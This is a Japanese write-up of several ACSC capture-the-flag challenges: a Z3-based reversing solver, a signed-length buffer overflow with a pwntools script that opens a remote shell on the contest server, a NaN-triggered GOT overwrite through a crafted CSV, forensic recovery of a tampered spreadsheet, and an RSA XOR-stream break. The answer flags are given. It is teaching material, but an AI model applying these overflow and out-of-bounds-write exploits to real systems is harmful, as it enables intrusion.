雑にPythonで書き直して、Z3Pyでソルバを作る。
import struct from PIL import Image from z3 import * def u32(x): return struct.unpack('<I', x)[0] with open('distfiles/Tnzr.exe', 'rb') as f: table = io.BytesIO(f.read()) def get_addr(x): table.seek(x) return u32(table.read(4)) def get_row(row, i): return row[i + 13] im = Image.new('L', (15 * 35, 15)) pix = im.load() s1 = 0xd650 - (0x3c30 + 195 * 4) for i in range(0, 31500, 900): print(i) solver = Solver() card = [[Int(f'card_{y}_{x}') for x in range(15)] for y in range(15)] for y in range(15): for x in range(15): solver.add(Or(card[y][x] == 0, card[y][x] == 1, card[y][x] == 2)) s2 = (0x3c30 + 195 * 4) + i s3 = (0x3c30 + 195 * 4) + i v5 = s1 card_ = iter(card) for k in range(15, 0, -1): row = next(card_) v8 = get_row(row, 1) v9 = s2 v10 = get_row(row, 0) v12 = get_row(row, -1) v13 = get_row(row, -2) v14 = get_row(row, -3) v15 = get_row(row, -4) for l in range(15, 0, -1): v16 = get_addr(v9 + v5) - \ ( v10 * get_addr(v9) + \ get_row(row, -8) * get_addr(v9 - 120 * 4) + \ get_row(row, -9) * get_addr(v9 - 135 * 4) + \ get_row(row, -10) * get_addr(v9 - 150 * 4) + \ get_row(row, -11) * get_addr(v9 - 165 * 4) + \ get_row(row, -12) * get_addr(v9 - 180 * 4) + \ get_row(row, -13) * get_addr(v9 - 195 * 4) + \ v8 * get_addr(v9 + 15 * 4) + \ v12 * get_addr(v9 - 15 * 4) + \ v13 * get_addr(v9 - 30 * 4) + \ v14 * get_addr(v9 - 45 * 4) + \ v15 * get_addr(v9 - 60 * 4) + \ get_row(row, -5) * get_addr(v9 - 75 * 4) + \ get_row(row, -6) * get_addr(v9 - 90 * 4) + \ get_row(row, -7) * get_addr(v9 - 105 * 4) ) solver.add(v16 == 0) v9 += 4 s2 = s3 v5 += 60 s1 = 0xd650 - (0x3c30 + 195 * 4) c = solver.check() model = solver.model() for y in range(15): for x in range(15): res = model[card[y][x]].as_long() pix[x + 15 * (i // 900), y] = [255, 128, 0][res] im.save('result.png')
これを実行すると以下のような画像が出力され、フラグが得られた。
ACSC{WELCOM3_T0_TH3_ACSC_W3_N33D_U}
[Pwn 100] filtered (168 solves)
以下のようなコードが与えられている。なんとかして win
という関数に飛ばしたい。main
では0x100文字より長い文字列を読み込ませないようチェックがされているが、length
は符号付きなので -1
を入力するとバイパスできてしまう。これでバッファオーバーフローができる。
#include <stdlib.h> #include <string.h> #include <unistd.h> /* Call this function! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); exit(0); } /* Print `msg` */ void print(const char *msg) { write(1, msg, strlen(msg)); } /* Print `msg` and read `size` bytes into `buf` */ void readline(const char *msg, char *buf, size_t size) { char c; print(msg); for (size_t i = 0; i < size; i++) { if (read(0, &c, 1) <= 0) { print("I/O Error\n"); exit(1); } else if (c == '\n') { buf[i] = '\0'; break; } else { buf[i] = c; } } } /* Print `msg` and read an integer value */ int readint(const char *msg) { char buf[0x10]; readline(msg, buf, 0x10); return atoi(buf); } /* Entry point! */ int main() { int length; char buf[0x100]; /* Read and check length */ length = readint("Size: "); if (length > 0x100) { print("Buffer overflow detected!\n"); exit(1); } /* Read data */ readline("Data: ", buf, length); print("Bye!\n"); return 0; }
あとは雑にリターンアドレスを win
に書き換えてしまう。
$ cat s.py from pwn import * s = remote('167.99.78.201', 9001) print(s.recv(1024)) s.sendline(b'-1') print(s.recv(1024)) s.send(b'A' * (280) + p64(0x4011d6) * 100) s.interactive() $ python3 s.py [+] Opening connection to 167.99.78.201 on port 9001: Done b'Size: ' b'Data: ' [*] Switching to interactive mode $ ls Bye! $ ls filtered flag-08d995360bfb36072f5b6aedcc801cd7.txt $ cat flag* ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
[Pwn 200] histogram (38 solves)
身長と体重を記録したCSVファイルを投げてやると、いい感じにヒストグラムとして表示してくれる便利なアプリケーション。CSVの読み込み部分のコードは次のようになっている。weight < 1.0 || weight >= WEIGHT_MAX
というチェックによって範囲外アクセスはできないようになっている。
本当だろうか。よく見ると身長と体重は fscanf(fp, "%lf,%lf", &weight, &height)
と double
として読み込まれている。もし nan
を読み込ませれば、weight < 1.0
も weight >= WEIGHT_MAX
も偽になる。その後の (short)ceil(weight / WEIGHT_STRIDE) - 1
で i
に -1
が入り、map[i][j]++
で範囲外アクセスができてしまう。
#define WEIGHT_MAX 600 // kg #define HEIGHT_MAX 300 // cm #define WEIGHT_STRIDE 10 #define HEIGHT_STRIDE 10 #define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE) #define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE) int map[WSIZE][HSIZE] = {0}; int wsum[WSIZE] = {0}; int hsum[HSIZE] = {0}; // … int read_data(FILE *fp) { /* Read data */ double weight, height; int n = fscanf(fp, "%lf,%lf", &weight, &height); if (n == -1) return 1; /* End of data */ else if (n != 2) fatal("Invalid input"); /* Validate input */ if (weight < 1.0 || weight >= WEIGHT_MAX) fatal("Invalid weight"); if (height < 1.0 || height >= HEIGHT_MAX) fatal("Invalid height"); /* Store to map */ short i, j; i = (short)ceil(weight / WEIGHT_STRIDE) - 1; j = (short)ceil(height / HEIGHT_STRIDE) - 1; map[i][j]++; wsum[i]++; hsum[j]++; return 0; }
IDA Freewareで map
の周囲を見てみると、ちょうど .got.plt
が直前に配置されている。適当に書き換えてしまおう。今回は事前に用意された以下の win
という関数に飛ばせばよい。
void win(void) { char flag[0x100]; FILE *fp = fopen("flag.txt", "r"); int n = fread(flag, 1, sizeof(flag), fp); printf("%s", flag); exit(0); }
fclose
を win
に書き換えるようなCSVを作り、ヒストグラムに変換するとフラグが得られた。
$ python3 -c "print('nan,30\n' * 520)" > b.csv; ./histogram.bin b.csv $ curl -k -i https://histogram.chal.acsc.asia/api/histogram -F csv=@b.csv ... ACSC{NaN_demo_iiyo}
[Forensics 140] NYONG Coin (26 solves)
E01という拡張子を持つファイルが与えられる。仮想通貨のトランザクションが記録されたファイルがたくさん含まれているのだけれども、どうやらその中のひとつは改ざんされているらしい。改ざんされた箇所を答えろという問題。
FTK Imagerで開いてみると、たしかに.xlsxファイルがたくさんある。ただ、レコードが多すぎてどれが不審なトランザクションなのか全くわからない。諦めてunallocated spaceを眺めていると、PK
とか [Content_Types].xml
といった文字列が目に入った。ほかにも.xlsxファイルがあるようなので切り出す。別のよく似た.xlsxとともにCSVに変換した上でdiffを取ってみると、ひとつのトランザクションだけ改ざんされていることが確認できた。
ACSC{8d77a554-dc64-478c-b093-da4493a8534d}
[Crypto 100] RSA stream (121 solves)
以下のような chal.py
というPythonスクリプトと、n
などのパラメータが書かれた output.txt
、暗号化されたファイルである chal.enc
が与えられる。c = stream ^ q
という部分を見ると、暗号化されたファイルと chal.py
をXORすれば pow(m, 0x10001, n)
と pow(m, 0x10003, n)
が得られることがわかる。
import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse from Crypto.Util.Padding import pad from flag import m #m = b"ACSC{<REDACTED>}" # flag! f = open("chal.py","rb").read() # I'll encrypt myself! print("len:",len(f)) p = getStrongPrime(1024) q = getStrongPrime(1024) n = p * q e = 0x10001 print("n =",n) print("e =",e) print("# flag length:",len(m)) m = pad(m, 255) m = bytes_to_long(m) assert m < n stream = pow(m,e,n) cipher = b"" for a in range(0,len(f),256): q = f[a:a+256] if len(q) < 256:q = pad(q, 256) q = bytes_to_long(q) c = stream ^ q cipher += long_to_bytes(c,256) e = gmpy2.next_prime(e) stream = pow(m,e,n) open("chal.enc","wb").write(cipher)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}